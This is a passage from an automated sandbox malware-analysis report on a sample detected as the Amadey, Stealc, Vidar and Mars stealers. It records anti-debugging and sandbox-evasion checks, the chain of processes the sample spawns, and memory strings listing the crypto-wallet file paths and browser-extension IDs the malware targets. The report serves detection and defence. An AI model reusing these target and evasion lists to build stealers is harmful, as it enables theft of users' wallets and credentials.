Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.0000000000A4C000.00000040.00000001.01000000.00000003.sdmp, 3eb62d09c2.exe, 0000000D.00000002.2514385520.0000000000F3C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe

Code function: 8_2_04C70C55 rdtsc

8_2_04C70C55

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C825FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C825FF0

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C82C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C82C410

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00255C0B mov eax, dword ptr fs:[00000030h]		10_2_00255C0B
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_00259972 mov eax, dword ptr fs:[00000030h]		10_2_00259972

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C7FB66C
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C7FB1F7

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJJJKFIIIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe "C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe"	Jump to behavior

Source: KKEBKJJDGH.exe, KKEBKJJDGH.exe, 00000008.00000002.2439124494.0000000000441000.00000040.00000001.01000000.00000009.sdmp

Binary or memory string: SProgram Manager

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C7FB341 cpuid

0_2_6C7FB341

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C7C35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C7C35A0

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Code function: 10_2_00225F10 LookupAccountNameA,

10_2_00225F10

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 15.2.explortu.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explortu.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.explortu.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.explortu.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.KKEBKJJDGH.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2445574299.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2703194358.0000000000221000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2440931537.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3266423975.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2394722403.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3310671212.0000000000221000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2438251859.0000000000251000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3418913450.0000000000221000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2486002500.0000000000221000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2662971717.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 13.2.3eb62d09c2.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EZrw1nNIpG.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2385661873.0000000000811000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2514385520.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2389921177.0000000001614000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EZrw1nNIpG.exe PID: 3792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3eb62d09c2.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 13.2.3eb62d09c2.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EZrw1nNIpG.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2385661873.0000000000811000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2514385520.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EZrw1nNIpG.exe PID: 3792, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|MetaMask\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|TronLink\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|Binance Wallet\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|0\|0\|Yoroi\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase Wallet extension\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|0\|Jaxx Liberty\|cjelfplplebdjjenllpjcblmjkfcffne\|1\|0\|0\|iWallet\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|MEW CX\|nlbmnnijcnlegkjjpcfjclmcfggfefdm\|1\|0\|0\|GuildWallet\|nanjmdknhkinifnkgdcggcfnhdaammmj\|1\|0\|0\|Ronin Wallet\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CLV Wallet\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|Liquality Wallet\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra Station Wallet\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|Sollet\|fhmfendgdocmcbmfikdcogofphimnkno\|1\|0\|0\|Auro Wallet(Mina Protocol)\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|Polymesh Wallet\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98 Wallet\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain Wallet\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Brave Wallet\|odbfpeeihdkbihmopkbjmoonfanlbfcl\|1\|0\|0\|Oxygen\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|Pali Wallet\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|BOLT X\|aodkkagnadcbobfpggfnjeongemjbjca\|1\|0\|0\|XDEFI Wallet\|hmeobnfnfcmdkdcmlblgagmfpfboieaf\|1\|0\|0\|Nami\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Maiar DeFi Wallet\|dngmlblcodfobpdpecaadgfbcggfjfnm\|1\|0\|0\|Keeper Wallet\|lpilbniiabackdjcionkobglmddfbcjo\|1\|0\|0\|Solflare Wallet\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|Cyano Wallet\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Temple\|ookjlbkiijinhpmnjffcofjonbfbgaoc\|1\|0\|0\|Goby\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|Ronin Wallet\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|Byone\|nlgbhdfgdhgbiamfdfmbikcdghidoadd\|1\|0\|0\|OneKey\|jnmbobjmhlngoefaiojfljckilhhlhcj\|1\|0\|0\|DAppPlay\|lodccjjbdhfakaekdiahmedfbieldgik\|1\|0\|0\|SteemKeychain\|jhgnbkkipaallpehbohjmkbjofjdmeid\|1\|0\|0\|Braavos Wallet\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|kkpllkodjeloidieedojogacfhpaihoh\|1\|1\|1\|OKX Wallet\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender Wallet\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|Eternl\|kmhcihpebfmpgmihbkipmjlmmioameka\|1\|0\|0\|Pontem Aptos Wallet\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Petra Aptos Wallet\|ejjladinnckdgjemekebdpeokbikhfci\|1\|0\|0\|Martian Aptos Wallet\|efbglgofoippbgcjepnhiblaibcnclgk\|1\|0\|0\|Finnie\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra Wallet\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Trezor Password Manager\|imloifkgjagghnncjkhggdhalmcnfklk\|1\|0\|0\|Authenticator\|bhghoamapcdpbohphigoooaddinpkbai\|1\|0\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 